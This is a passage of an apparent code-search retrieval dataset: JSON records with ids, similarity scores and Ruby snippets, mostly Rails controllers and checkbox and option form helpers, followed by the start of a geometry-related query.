"text": "def create\n @taryph = Taryph.new(taryph_params)\n @taryph.options = params[:taryph][:options].reject{|i|i.empty?}\n respond_to do |format|\n if @taryph.save\n format.html { redirect_to @taryph, notice: 'Taryph was successfully created.' }\n format.json { render :show, status: :created, location: @taryph }\n else\n format.html { render :new }\n format.json { render json: @taryph.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e4ef2752ba0d5c6ab64527ec9c2d2cfb",
"score": "0.5543559",
"text": "def checkbox_field_params\n params.fetch(:checkbox_field, {})\n end",
"title": ""
},
{
"docid": "f1cdd2cd38fa09ec370469c49a9fcbfb",
"score": "0.55409956",
"text": "def create\n @option = Option.new(params[:option])\n\n value = {'entry_types' => params[:entry_types], 'fields' => []}\n if params[:field].present?\n params[:field].each do |k, v|\n value['fields'] << v if v['name'].present?\n end\n end \n @option.value = YAML.dump(value)\n\n respond_to do |format|\n if @option.save\n format.html { redirect_to edit_admin_option_path(@option), notice: 'Option was successfully updated.' }\n format.json { render json: @option, status: :created, location: @option }\n else\n format.html { render action: \"new\" }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0d78427012b6a9bb2c375c899ab2075e",
"score": "0.55401844",
"text": "def check_box_tag(name, options={})\n input_tag(:checkbox, { :name => name, :value => '1' }.update(options))\n end",
"title": ""
},
{
"docid": "0cd63d609941ba24877fdbf526017e5f",
"score": "0.55379015",
"text": "def create\n @checkboxed_model = CheckboxedModel.new(checkboxed_model_params)\n\n respond_to do |format|\n if @checkboxed_model.save\n format.html { redirect_to @checkboxed_model, notice: 'Checkboxed model was successfully created.' }\n format.json { render :show, status: :created, location: @checkboxed_model }\n else\n format.html { render :new }\n format.json { render json: @checkboxed_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9473aff135cfb9a8f300d6b3af860f7f",
"score": "0.55314314",
"text": "def post options\n return nil if validate_api_options(options)\n begin\n request_body_map = options[:attributes].present? ? options[:attributes] : {}\n response = RestClient.post(get_uri(options),\n request_body_map.to_json,\n header_options(options))\n JSON.parse(response, :symbolize_names => true)\n rescue => e\n Rails.logger.error \"Error: #{e}\"\n nil\n end\n end",
"title": ""
},
{
"docid": "ff05f4b51d6a65b2cd73bbd74668e972",
"score": "0.5530586",
"text": "def options_section(form, fieldname, id, options, options_checked_method, option_name_method=\"name\", option_value_method=\"id\", option_disabled)\n size = options.size\n options_id = \"#{id}_options\"\n \n options_checkboxes = options.map do |option|\n checkbox_id = \"#{id}_#{option.id}\"\n checkbox_is_checked = form.object.send(options_checked_method).include?(option)\n checkbox_name = option.send(option_name_method)\n checkbox_value = option.send(option_value_method)\n checkbox_and_label = label_tag checkbox_id do \n if option_disabled == \"false\"\n check_box_tag(fieldname, checkbox_value, checkbox_is_checked, :id => checkbox_id) + checkbox_name\n else\n check_box_tag(fieldname, checkbox_value, checkbox_is_checked, :id => checkbox_id, :disabled => \"true\") + checkbox_name\n end\n end\n content_tag(:li, checkbox_and_label, :class => cycle(\"odd\", \"even\", :name => \"tigerstriping\"))\n end.join(\"\\n\").html_safe\n\n # reset the tiger striping\n reset_cycle(\"tigerstriping\")\n\n # if there are only a few options, don't show the scrolling and the toggle\n if size <= ArchiveConfig.OPTIONS_TO_SHOW\n content_tag(:ul, options_checkboxes, :id => options_id) + hidden_field_tag(fieldname, \" \")\n else\n # return the toggle, the options in a scrollable field, and a hidden field \n # to ensure the results are sent even if the user has unchecked all the options\n options_toggle(options_id, size) + \n \"\\n\".html_safe +\n content_tag(:ul, options_checkboxes, :id => options_id, \n :class => \"options#{size > (ArchiveConfig.OPTIONS_TO_SHOW * 3) ? ' many' : ''}\") + \n \"\\n\".html_safe +\n hidden_field_tag(fieldname, \" \")\n end\n end",
"title": ""
},
{
"docid": "2312ad4fcaae13b77a293a63dd853d5f",
"score": "0.5523976",
"text": "def create\n action = params[:custom_form][:save_continue] || \"false\"\n form_wrapper_id = params[:custom_form][:form_wrapper_id] || nil\n options_select = {\n :en => params[:custom_form][:select_field_option_choices_en],\n :es => params[:custom_form][:select_field_option_choices_es],\n :fr => params[:custom_form][:select_field_option_choices_fr],\n :pt => params[:custom_form][:select_field_option_choices_pt],\n } || nil\n options_checkbox = {\n :en => params[:custom_form][:checkbox_field_option_choices_en],\n :es => params[:custom_form][:checkbox_field_option_choices_es],\n :fr => params[:custom_form][:checkbox_field_option_choices_fr],\n :pt => params[:custom_form][:checkbox_field_option_choices_pt],\n } || nil\n\n @custom_form = CustomForm.new(custom_form_params)\n\n respond_to do |format|\n if @custom_form.save\n\n @custom_form.create_fields(options_checkbox, options_select, nil, false)\n @custom_form.store_options(options_checkbox, options_select, nil, false)\n @custom_form.check_index()\n \n if action.eql?(\"true\")\n format.html { redirect_to new_custom_form_path(:form_wrapper_id => form_wrapper_id), alert: I18n.t('activerecord.models.custom_form.single') + I18n.t('helpers_locale.models.created') }\n format.json { render action: 'show', status: :created, location: @custom_form }\n else\n format.html { redirect_to form_wrappers_path, alert: I18n.t('activerecord.models.custom_form.single') + I18n.t('helpers_locale.models.created') }\n format.json { render action: 'show', status: :created, location: @custom_form }\n end\n else\n format.html { render action: 'new' }\n format.json { render json: @custom_form.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ea8c48227cb240fa8b8b68bef9663505",
"score": "0.5509632",
"text": "def check_box_with_proper_args(method, checked_value = \"1\", unchecked_value = \"0\", form_options = {})\n check_box_without_proper_args(method, form_options, checked_value, unchecked_value)\n end",
"title": ""
},
{
"docid": "a398d972c5020e4a3c202ba59167d852",
"score": "0.55094284",
"text": "def multi_option_params\n params.require(:multi_option).permit(:option, :multiple_choice_id)\n end",
"title": ""
},
{
"docid": "8c24f97cb27ac8080e757df6f1e82ccb",
"score": "0.55017006",
"text": "def show\n @checkbox_option = CheckboxOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @checkbox_option }\n end\n end",
"title": ""
},
{
"docid": "b2734440959a6db561f2ab0910a2ed3f",
"score": "0.5493454",
"text": "def boolean_params\n params.require(:boolean).permit(:id, :name, :value)\n end",
"title": ""
},
{
"docid": "716b5df6f52977a82248bd885f08c8b5",
"score": "0.54836553",
"text": "def option_params\n params.require(:option).permit(:option, :is_answer, :question_id)\n end",
"title": ""
},
{
"docid": "ee808178158180cd6efdf5eb3424855b",
"score": "0.5482145",
"text": "def create\n @checkbox_group = CheckboxGroup.new(params[:checkbox_group])\n\n respond_to do |format|\n if @checkbox_group.save\n format.html { redirect_to @checkbox_group, notice: 'Checkbox group was successfully created.' }\n format.json { render json: @checkbox_group, status: :created, location: @checkbox_group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @checkbox_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8937ee204af5b60c0d5cdc0d832e90bf",
"score": "0.5476376",
"text": "def collection_name\n 'check_box_fields'\n end",
"title": ""
},
{
"docid": "582b310548be58f7e0382e4044718dc0",
"score": "0.5473425",
"text": "def show_check_options(options, checkboxes)\r\n\tpara \"\\n\"\r\n\tfor i in 0..options.length - 1\r\n\t\tcheckboxes[i] = check()\r\n\t\tpara \"#{options[i]} \\n\"\r\n\tend\r\nend",
"title": ""
},
{
"docid": "00491ae10cd331e9148159b22b0006e5",
"score": "0.5464118",
"text": "def create_User_Terms_Checkbox\n\t\t#if (ENV['BROWSER_TYPE'] == 'chrome' or ENV['BROWSER_TYPE'] == 'firefox')\n\t\t\tpage.driver.execute_script(\"document.getElementById('termsOptin').checked = true\")\n\t\t#else\n\t\t\t#find(:xpath, '//*[@id=\"termsOptin\"]').set(true)\n\t\t#end\n\tend",
"title": ""
},
{
"docid": "734483995d1b6afd6a3c62c13e68dfc7",
"score": "0.5461072",
"text": "def create\r\n #@option = Option.new(params[:option])\r\n\r\n @options = params[:options].values.collect { |option| Option.new(option) }\r\n @options.each do |o|\r\n o.save\r\n end\r\n @question=Question.find(@options[0].question_id)\r\n respond_to do |format|\r\n format.html { redirect_to questionnaire_path(:id=>@question.questionnaire.id, :check_form=>\"true\") }\r\n format.xml { render :xml => @option, :status => :created, :location => @option }\r\n end\r\n end",
"title": ""
},
{
"docid": "7c5b6a3498e591c9b19eec7bf57bb793",
"score": "0.54584306",
"text": "def options\n render json: BonusElementItem.options(options_params)\n end",
"title": ""
},
{
"docid": "1e5f456e5a4e8b870d84c440d31f713b",
"score": "0.54453164",
"text": "def index\n #if params[:option_type].present?\n @options = Option.find_all_by_option_type('custom_field')\n @options.each{|opt| opt.value = YAML.load(opt.value)}\n #else\n # @options = Option.all\n #end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @options }\n end\n end",
"title": ""
},
{
"docid": "f93344af9820f86c026a4ee5530a78b6",
"score": "0.54452795",
"text": "def options_params\n params.require(:option).permit(:tag_ids => [], :category_ids => [])\n end",
"title": ""
},
{
"docid": "1c09bf473e884fda4450db007f7ffa83",
"score": "0.54383504",
"text": "def checkboxed_model_params\n params.require(:checkboxed_model).permit(:music => [])\n end",
"title": ""
},
{
"docid": "4726c30eebb3bd83bcb0143c81e81e82",
"score": "0.5431705",
"text": "def create\n @question = Question.new(question_params)\n @question.user = current_user\n if params[:add_option]\n @question.options.build\n else\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' and return }\n format.json { render :show, status: :created, location: @question } \n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end\n render :action => 'new'\n end",
"title": ""
},
{
"docid": "360a789b544d70649c1e8723df02b3a7",
"score": "0.5423719",
"text": "def upstraps; det.checkbox(:id, 'rfc1628MibTrap'); end",
"title": ""
},
{
"docid": "1ae595399249191b375031e9c1209005",
"score": "0.542299",
"text": "def hash_checkboxes(h, options = {})\n defaults = {:title => \"\",:name => \"\"}\n options = defaults.merge(options)\n \n render \"shared/hash_checkboxes\", :locals => {:options => options, :h => h}\n end",
"title": ""
},
{
"docid": "1ae595399249191b375031e9c1209005",
"score": "0.542299",
"text": "def hash_checkboxes(h, options = {})\n defaults = {:title => \"\",:name => \"\"}\n options = defaults.merge(options)\n \n render \"shared/hash_checkboxes\", :locals => {:options => options, :h => h}\n end",
"title": ""
},
{
"docid": "be85d1e9fc460bd8a73b467efa6b92c5",
"score": "0.54146224",
"text": "def boolean_options\n [[t(:true), 'true'], [t(:false), 'false']]\n end",
"title": ""
},
{
"docid": "f96fb455872d8f4d8126d8d4092d18a2",
"score": "0.5411343",
"text": "def create\n @food_option = FoodOption.new(food_option_params)\n\n if @food_option.save\n @food_options = FoodOption.all\n @food_option = FoodOption.new\n @flag = true\n else\n @flag = false\n end\n end",
"title": ""
},
{
"docid": "72aad16842d6eaf20226ea75ffd3a2e2",
"score": "0.54007465",
"text": "def destroy\n @checkbox_option = CheckboxOption.find(params[:id])\n @checkbox_option.destroy\n\n respond_to do |format|\n format.html { redirect_to checkbox_options_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "34203e5f0df17a305cac3520d72e83a1",
"score": "0.5393685",
"text": "def check_box_tag(name, value = \"1\", checked = false, options = {})\n id = \"#{name}#{value}\".gsub(/\\[\\]/,'').gsub(/[\\[\\]\\ ]/, '_').downcase\n label = options[:label] ? label_tag(id, options.delete(:label), :class => 'choice') : \"\"\n options[:class] = 'field checkbox'\n options[:id] = id\n super + label\n end",
"title": ""
},
{
"docid": "698de03471b536c5a24f4eba14e7acda",
"score": "0.53874373",
"text": "def index\n @api_v1_checkbox_fields = Api::V1::CheckboxField.all\n end",
"title": ""
},
{
"docid": "e642f427d49698f58ffb411f5f561092",
"score": "0.5365055",
"text": "def create\n @question = Question.new(question_params)\n\n set_labels\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to new_option_path(question_id: @question.id), notice: 'Question was successfully created.' }\n format.json { render :new, status: :created, location: @options }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "126ebf5deb51d150b56e86a36304044f",
"score": "0.535772",
"text": "def labelled_check_box (object_name, method, options = {}, checked_value = \"1\", unchecked_value = \"0\")\n options = options.stringify_keys\n if options['label'].respond_to?(:to_str)\n options['label'] = { 'caption' => options['label'] }\n end\n options['label'] ||= {}\n options['label']['for'] = \"#{object_name}_#{method}\"\n options['label']['caption'] ||= method.to_s.humanize + '?'\n\t\t\t\tinput_options = options.delete('input') || {}\n\t\t\t\tInstanceTag.new(object_name, method, self, nil,\n\t\t\t\t\t\t\t\toptions.delete('object')).to_labelled_check_box_tag(options.delete('label'), input_options, options, checked_value, unchecked_value)\n\t\t\tend",
"title": ""
},
{
"docid": "64bf426d0ff83d033979a83e805977ed",
"score": "0.5355392",
"text": "def create\n \n # raise restaurant_params.inspect\n @restaurant = Restaurant.new(restaurant_params)\n\n # gets checkbox output, converts it to string format\n @other_ads = params[:online_ads_types]\n @restaurant.online_ads_types = checkbox_values(@other_ads)\n @social_media = params[:social_media_types]\n @restaurant.social_media_types = checkbox_values(@social_media)\n @ad_sites = params[:ad_sites]\n @restaurant.ad_sites = checkbox_values(@ad_sites)\n\n\n\n\n\n respond_to do |format|\n if @restaurant.save\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully created.' }\n format.json { render :show, status: :created, location: @restaurant }\n else\n format.html { render :new }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2e7324270aea9b5f3a929ce1fb08346a",
"score": "0.5354617",
"text": "def create_boolean_collection(options) #:nodoc:\n options[:true] ||= Formtastic::I18n.t(:yes)\n options[:false] ||= Formtastic::I18n.t(:no)\n options[:value_as_class] = true unless options.key?(:value_as_class)\n\n [ [ options.delete(:true), true], [ options.delete(:false), false ] ]\n end",
"title": ""
},
{
"docid": "2208f83f9d51b10e0d2ba93f267ad36c",
"score": "0.5348998",
"text": "def option_fields\n self.checkboxes.to_a + self.radios.to_a\n end",
"title": ""
},
{
"docid": "dbce8b85793958a5921654eb33f34c22",
"score": "0.5337734",
"text": "def hash_checkboxes(h, options = {})\n defaults = { title: \"\", name: \"\" }\n options = defaults.merge(options)\n\n render \"shared/hash_checkboxes\", locals: { options: options, h: h }\n end",
"title": ""
},
{
"docid": "87ef85182125d1430dc603026b6ece18",
"score": "0.5331656",
"text": "def create *_\n @option = Option.new(params[:option])\n @option.user_id = params[:user_id]\n\n if @option.save\n render json: @option\n else\n render json: @option.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "4e02da8b53d201f8479fb40321b477e1",
"score": "0.5312928",
"text": "def create_check_boxes(input_name, html_options = {}, checked_value = \"1\", unchecked_value = \"0\", hidden_fields = false) #:nodoc:\n return template.check_box_tag(input_name, checked_value, html_options[:checked], html_options) unless hidden_fields == true\n check_box(input_name, html_options, checked_value, unchecked_value)\n end",
"title": ""
},
{
"docid": "8af6da30f41a59855ab1a649979eb2d4",
"score": "0.5308125",
"text": "def invocation_options_for( type )\n [\n {\n :checkbox =>\n {\n :label => \"Add title to first row\",\n :checked => true,\n :id => uk_org_pond_id_for_type( type )\n }\n }\n ]\n end",
"title": ""
},
{
"docid": "a9a83f8baf68bf6ff105194873ee2621",
"score": "0.53024405",
"text": "def parse_checkboxes(input_header, options)\n\n input_header[2] = input_header[2]+\"[]\"\n concat \"<div class='checkboxes'>\".html_safe\n\n @collection = input_header[3][:options][\"collection\"][0]\n\n\n @collection.each_with_index do |item, index|\n\n concat send(:label, item, item.to_s)\n concat send(input_header[0], input_header[2], item, false, id:(item+'_'+item))\n\n end\n\n concat \"</div>\".html_safe\n end",
"title": ""
},
{
"docid": "7527658752009803c3bb1d63671b56a4",
"score": "0.5299307",
"text": "def gumby_checkbox(form_builder, method, label, checked=false, value=\"1\")\n name = \"#{form_builder.object.class.name.underscore}[#{method}]\"\n checkbox = check_box_tag(name, value, checked) + content_tag(:span) + ' ' + label.to_s\n html = label_tag(name, checkbox, :class => \"checkbox#{checked ? ' checked' : ''}\")\n html + hidden_field_tag(name, (value.to_i == 0) ? '1' : '0', :id => nil)\n end",
"title": ""
},
{
"docid": "9ec7577e097ecdbca12f3b3b56a647cc",
"score": "0.5298414",
"text": "def fieldset_cb_options\n c = Admin::Mailing::OPTIONS.collect do |key, dkey|\n idname = \"cb_option_#{key}\"\n dkey[:hname].in_checkbox(name: idname, id: idname, checked: dkey[:value], class: 'cb_inline')\n end.join('').in_div(class: 'small')\n end",
"title": ""
},
{
"docid": "d2e8d2154a38f7ed2d743922b0e0ae90",
"score": "0.5291753",
"text": "def select_options\n self.vehicle_check.select_options\n end",
"title": ""
},
{
"docid": "ddaa5a3f775b32a8eaa127f49849e732",
"score": "0.52915627",
"text": "def check_box_tag(name, options={})\n options.reverse_merge!(:name => name, :value => '1')\n input_tag(:checkbox, options)\n end",
"title": ""
},
{
"docid": "8daba2427522c1da64abcadd6a3df99a",
"score": "0.52874637",
"text": "def fe_checkbox(name, attribs = {})\n checker_name = \"#{name}_checker\"\n newval = !!(request_parameters[name] || query_parameters[name])\n posted = (request_parameters[checker_name] || query_parameters[checker_name])\n \n # checkbox html element isn't sent to cgi if not selected\n # so cuca's page variables won't work - this fixes it for most cases.\n if (session.page && (posted && !newval)) then\n session.page[name] = 'off' \n end\n \n checked = v[name] && (v[name].to_s != 'off')\n checked = attribs[:default_value] == 'on' if (!posted and !v[name]) \n \n checkedval = checked ? ' CHECKED' : ''\n \"<input type='checkbox' name='#{name}' #{a2p(attribs)}#{checkedval}>\"+\n \"<input type='hidden' name='#{checker_name}' value='1'>\\n\"\t\t# Needed to detect if element was submitted\n end",
"title": ""
},
{
"docid": "bdd7d4ffb4e7341642b3b67d36d62117",
"score": "0.52825946",
"text": "def todo_params\n params.require(:todo).permit(:text, :checked)\n end",
"title": ""
},
{
"docid": "c2b776bc86c2dee330a3202e20677305",
"score": "0.5273629",
"text": "def checklist_answer_params\n params.require(:checklist_answer).permit(:title, :user_id, :checklist_id, :category)\n end",
"title": ""
},
{
"docid": "96ff37411f9fb520b732f25e96553cb9",
"score": "0.5266351",
"text": "def new_option_attributes=(option_attributes)\n option_attributes.each do |attributes|\n options.build(attributes) unless attributes['label'].blank?\n end\n end",
"title": ""
},
{
"docid": "c7e0f6b5b453ba987742b79fad8aff99",
"score": "0.526208",
"text": "def option_params\n params.require(:option).permit(:no, :name, :answer, :question_id)\n end",
"title": ""
},
{
"docid": "fa28a647855977c48f4e16363cd18ffa",
"score": "0.5261268",
"text": "def url_options_booleans\n url_options.select {|e| e[:option_type] == 'boolean' }.map {|e| [ e[:name], e[:alias]]}.flatten.select {|e| ! e.blank?}\n end",
"title": ""
},
{
"docid": "70e593da9e197e4b31e2610631402450",
"score": "0.52593696",
"text": "def set_api_v1_checkbox_field\n @api_v1_checkbox_field = Api::V1::CheckboxField.find(params[:id])\n end",
"title": ""
},
{
"docid": "95768623eff71d6e73636d0d98a81a6d",
"score": "0.52520055",
"text": "def check_box_group(field, options={})\n selected_values = Array(options[:selected] || field_value(field))\n if options[:collection]\n fields = options[:fields] || [:name, :id]\n # don't use map!, it will break some orms\n selected_values = selected_values.map{ |v| (v.respond_to?(fields[0]) ? v.send(fields[1]) : v).to_s }\n end\n labeled_group( field, options ) do |variant|\n @template.check_box_tag( field_name(field)+'[]', :value => variant[1], :id => variant[2], :checked => selected_values.include?(variant[1]) )\n end\n end",
"title": ""
},
{
"docid": "5fc02e91a02c073ad37a6a407f1d5156",
"score": "0.5243455",
"text": "def create\n @post_option = PostOption.new(post_option_params)\n\n respond_to do |format|\n if @post_option.save\n format.html { redirect_to @post_option, notice: 'Post option was successfully created.' }\n format.json { render :show, status: :created, location: @post_option }\n else\n format.html { render :new }\n format.json { render json: @post_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f8bdcd5bb53f8fd85f291ba93c55309a",
"score": "0.5237567",
"text": "def option_params\n params.require(:option).permit(\n :name,\n :description,\n :fee,\n :start_at,\n :end_at,\n :department_id,\n :skill_id,\n menu_category_ids: []\n )\n end",
"title": ""
},
{
"docid": "6014241d777302864ce8d8b8f7582cdc",
"score": "0.5215797",
"text": "def checklist_test_params\n params[:product_test].permit(checked_criteria_attributes: [:id, :_destroy, :completed])\n end",
"title": ""
},
{
"docid": "c55fbf3889dc8f4b9657ad43422eae8a",
"score": "0.5212674",
"text": "def checklist_params\n params.require(:checklist).permit(:identificacao, :fase,\n itens_attributes: [:descricao, :produto, :processo, :ordem])\n end",
"title": ""
},
{
"docid": "c38b437d0a54dcdd5b2f567fc49adfbb",
"score": "0.52104515",
"text": "def checkbox(name, label=nil, options=[], opts={})\n capture_haml do\n form_field do\n haml_tag :fieldset, :'data-role' => :controlgroup, :'data-type' => opts[:type] || 'vertical' do\n haml_tag :legend do\n haml_concat label || name.to_s.capitalize\n end\n options.each_with_index do |option, index|\n haml_tag :input, :name => \"name[#{index}]\", :id => \"#{name}-choice-#{index}\", :type => :checkbox,\n :value => option, :checked => option.kind_of?(Symbol) ? 'checked' : nil\n haml_tag :label, :for => \"#{name}-choice-#{index}\" do\n haml_concat option\n end\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "b1fc5e21bd020c29e653f6c845c2d45a",
"score": "0.52020144",
"text": "def create\n add_breadcrumb 'New Poll Option'\n @poll_option = PollOption.new(poll_option_params)\n\n respond_to do |format|\n if @poll_option.save\n format.html { redirect_to @poll_option, notice: \"Poll option was successfully created.\" }\n format.json { render :show, status: :created, location: @poll_option }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @poll_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c803f298aa6666fd48dbfe5168e62b8e",
"score": "0.5200063",
"text": "def check_box(field, options = {}, checked_value = '1', unchecked_value = '0')\n new_options, options = remove_uniform_options(options)\n new_options[:label] ? super + label_wrapper(field, new_options) : super\n end",
"title": ""
},
{
"docid": "84f0ed210aff7ab62de54c580c09bbc8",
"score": "0.51946545",
"text": "def create\n @question_option = @question.question_options.build(question_option_params)\n\n respond_to do |format|\n if @question_option.save\n format.html { redirect_to survey_question_question_options_path(@survey, @question), notice: 'Question option was successfully created.' }\n format.json { render :show, status: :created, location: @question_option }\n else\n format.html { render :new }\n format.json { render json: @question_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6e488a7224e9ea5a726beefccd4833ff",
"score": "0.51867753",
"text": "def create\n @product = Product.new(:id => params[:product_id])\n @product_option = @product.product_options.build(params[:product_option])\n# @check_tests = params[:product_option]\n# @str = ''\n# @check_tests.each do |check|\n# @str = @str + check\n# end\n \n respond_to do |format|\n if @product_option.save\n format.html { redirect_to('/products/'+ @product_option.product.id.to_s, :notice => '글 작성이 완료되었습니다.') }\n# format.xml { render :xml => @product_option, :status => :created, :location => @product_option }\n else\n format.html { render :action => \"new\" }\n# format.xml { render :xml => @product_option.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fc1056f3546934c01b5135fc60e267c3",
"score": "0.5185418",
"text": "def create\n @option_value = OptionValue.new(option_value_params)\n\n respond_to do |format|\n if @option_value.save\n format.html { redirect_to @option_value, notice: 'Option value was successfully created.' }\n format.json { render :show, status: :created, location: @option_value }\n else\n format.html { render :new }\n format.json { render json: @option_value.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "64ea65f903dbe0c9c0cc0e9a20ed2e7f",
"score": "0.5185059",
"text": "def good_option_params\n permit_params\n end",
"title": ""
},
{
"docid": "3504e82296a449c92aa94e63f183deb8",
"score": "0.5183407",
"text": "def select_check_box(obj, group = nil, user_options = {})\n options = { :value => \"1\" }\n options.merge!(user_options)\n css_class = \"select_check_box\"\n css_class << \" #{group}\" unless group.nil?\n options[:class] = css_class\n check_box_tag \"select[#{obj.class}][#{obj.id}]\", options[:value], false, options\n end",
"title": ""
},
{
"docid": "8a676d5c932c2039f49b67a8f3a95b9a",
"score": "0.51808864",
"text": "def save_poll_options\n if options_empty?\n flash[:alert] = \"You set no options. Have to add options!\"\n return false\n else\n if @poll.options.empty?\n params[:options].each do |option|\n if option != \"\"\n new_option = Option.new(:poll_option => option, :poll_id => @poll.id)\n new_option.save!\n end\n end\n else\n params[:options].each do |key, value|\n if value != \"\"\n update_option = Option.where(:id => key.to_i).first\n update_option.poll_option = value\n update_option.save!\n end\n end\n end\n return true\n end\n end",
"title": ""
},
{
"docid": "54559f68bf432a56c6ae6b4fd3e39103",
"score": "0.5161553",
"text": "def checkboxes(enabled = true)\n @settings[:checkboxes] = enabled\n self\n end",
"title": ""
},
{
"docid": "92228a728732413854e15133f9f0d1f3",
"score": "0.51590294",
"text": "def sidebar_check_box(name, options = {})\n options[:onclick] = \"new Ajax.Request('#{user_url(current_site, '/settings/sidebar/toggle_checkbox')}', { asynchronous: true, evalScripts: true, parameters: { name: '#{name}', authenticity_token: '#{form_authenticity_token}' } } ); return false;\"\n check_box_tag \"sidebar_#{name}\", '1', !current_site.tlog_settings.send(\"sidebar_#{name}?\"), options\n end",
"title": ""
},
{
"docid": "f79722af1293f0c21c747d1854903de6",
"score": "0.5157112",
"text": "def create\n @note = Note.new(params[:note])\n checked_params = params[:category_list] || []\n for check_box_id in checked_params\n category = NoteCategory.find(check_box_id)\n unless @note.note_categories.include?(category)\n @note.note_categories << category\n end\n end\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, :notice => 'Note was successfully created.' }\n format.json { render :json => @note, :status => :created, :location => @note }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @note.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "81ac98720500d2435f5fbe2aceb2c00d",
"score": "0.5156678",
"text": "def collection_check_boxes2(method, collection, value_method, text_method, options = {}, html_options = {})\n html_options ||= {}\n html_options[:multiple] = 'multiple'\n collection_select2 method, collection, value_method, text_method, options, html_options\n end",
"title": ""
},
{
"docid": "81ac98720500d2435f5fbe2aceb2c00d",
"score": "0.5156678",
"text": "def collection_check_boxes2(method, collection, value_method, text_method, options = {}, html_options = {})\n html_options ||= {}\n html_options[:multiple] = 'multiple'\n collection_select2 method, collection, value_method, text_method, options, html_options\n end",
"title": ""
},
{
"docid": "7dc54b20422f7322c6093ba8ec552d74",
"score": "0.5156312",
"text": "def option_params\n params.require(:option).permit(:name, :vote_count, :survey_id)\n end",
"title": ""
},
{
"docid": "d0e875a714c758c175c816d6a5a4d88f",
"score": "0.51517165",
"text": "def create\n @user_option = UserOption.new(user_option_params)\n\n respond_to do |format|\n if @user_option.save\n format.html { redirect_to @user_option, notice: 'User option was successfully created.' }\n format.json { render :show, status: :created, location: @user_option }\n else\n format.html { render :new }\n format.json { render json: @user_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4ff4e1a738554114c7edb1e99cd4adbf",
"score": "0.5149208",
"text": "def food_option_params\n params.require(:food_option).permit(:travel_option_id, :code, :name, :description, :amount, :is_optional, :status)\n end",
"title": ""
},
{
"docid": "4f0c23614e5523e965aa7bc58cf8aca2",
"score": "0.51480496",
"text": "def checked=(value)\n check_box.selected = value\nend",
"title": ""
},
{
"docid": "cbbedcdf58903e757e93d33454e3e7a6",
"score": "0.5138968",
"text": "def boolean_input(method, options)\n input_label(method, options, \n @template.check_box(@object_name, method) + \n label_text(method, options)\n )\n end",
"title": ""
},
{
"docid": "fba1adcaf4548d01762c0c109e0ec1d3",
"score": "0.5138631",
"text": "def create\n @checkbox_text = user_params[\"checkbox_text\"] # Used in signup_form if errors occur.\n @category = user_params[\"category\"] # @checkbox_text = user_params[\"checkbox_text\"]\n edited_user_params = user_params.except(\"checkbox_text\")\n puts user_params[\"total_offline_and_online_audience_marketing_cost\"]\n @user = User.new(edited_user_params)\n respond_to do |format|\n if @user.save\n # Sends email to user when user is created.\n if @user.category == \"fashionista\"\n UserMailer.registration_confirmation_fashionista(@user).deliver\n elsif @user.category == \"sponsor\"\n UserMailer.registration_confirmation_sponsor(@user).deliver\n elsif @user.category == \"host\"\n UserMailer.registration_confirmation_host(@user).deliver\n elsif @user.category == \"streamer\"\n UserMailer.registration_confirmation_streamer(@user).deliver\n end\n \n format.html { redirect_to '/confirmation' }\n format.json { render :show, status: :created, location: @user }\n else\n format.js\n #format.html { render :layout => false, :notice => @users.errors }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
5b95af201587c5587440100fa9babf32
|
origin at top upper left
|
[
{
"docid": "6593a26bbbfc27bf70497465a4f476ed",
"score": "0.0",
"text": "def draw(screen)\n for i in (0 .. _SHAPE_NUM_ROWS - 1)\n for j in (0 .. _SHAPE_NUM_COLS - 1)\n if @shape[i][j] then\n _draw_block(screen, @row+i, @col+j, @color )\n end\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "d7d3aaa5a3562517a598d9f3fd4dc32a",
"score": "0.7272964",
"text": "def topCenter\n CGPointMake(centerX, top)\n end",
"title": ""
},
{
"docid": "3049df46fb2ccc9e155134b31971ad7c",
"score": "0.72642595",
"text": "def top\n @center.y + @half_dimension\n end",
"title": ""
},
{
"docid": "0c86891dba98520c67242c64cba08163",
"score": "0.72062016",
"text": "def origin\n [0,0]\n end",
"title": ""
},
{
"docid": "a36e03ee4305eb3691516b0b3e6f50d7",
"score": "0.69254535",
"text": "def origin(location=:bottomleft)\n movex, movey = reorient(x, y, width, height, location)\n translate(movex, movey)\n end",
"title": ""
},
{
"docid": "53bee6b5d356c1c4336bc0c0f1497c66",
"score": "0.6914665",
"text": "def absolute_top\n @y\n end",
"title": ""
},
{
